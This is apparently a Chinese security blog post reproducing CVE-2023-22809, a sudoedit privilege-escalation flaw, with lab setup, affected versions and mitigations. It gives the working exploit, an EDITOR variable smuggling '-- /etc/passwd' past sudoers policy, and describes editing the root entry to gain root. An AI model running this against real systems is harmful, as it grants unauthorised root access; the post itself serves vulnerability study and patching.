前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2023-22809:Sudo权限提升漏洞

CVE-2023-22809:Sudo权限提升漏洞

作者头像
Timeline Sec
发布2023-08-22 08:53:37
6930
发布2023-08-22 08:53:37
举报
文章被收录于专栏:Timeline Sec

关注我们❤️,添加星标🌟,一起学安全! 作者:inSight@Timeline Sec 本文字数:815 阅读时长:2~3min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

0x02 漏洞概述

漏洞编号:CVE-2023-22809

由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " --" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。

0x03 影响版本

sudo 1.8 到 1.9.12p1

0x04 环境搭建

复现环境系统版本为 Debian 4.6.4-1kali1 sudo版本为1.8.17p1

在实际复现中,试了 1.8 到 1.9.12p1其中多个版本的sudo,都未复现成功,如下图所示

结合以下官方修复漏洞的代码,推测系统对注入的双破折号进行了过滤

使用1.8.17p1版本复现成功。使用root权限编辑/etc/sudoers文件,添加

代码语言:javascript
复制
xxxx    ALL=(root) NOPASSWD: sudoedit /etc/services

这么一行,其中xxxx是当前非root权限的用户名

0x05 漏洞复现

必须对系统中的至少一个文件具有有限的sudo访问权限。

执行攻击命令:(如果sudoedit后面接的文件和sudoers中的不是相同的文件,系统会要求输入root密码)

代码语言:javascript
复制
export EDITOR="vi -- /etc/passwd"
sudoedit /etc/services

这样我们就拥有了对/etc/passwd文件可编辑的权限。

接下来把root账号的那一行配置信息改成test的,接着test账户就拥有了root权限,实现提权。

0x06 修复方式

1、使用/etc/sudoers中的env_delete将环境变量添加到拒绝列表,如下所示。

代码语言:javascript
复制
Defaults!SUDOEDIT       env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/services
root    ALL=(root) NOPASSWD: SUDOEDIT

2、更新到最新版本的sudo。

参考链接

https://www.vicarius.io/blog/cve-2023-22809-sudoedit-bypass-analysis

历史漏洞

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档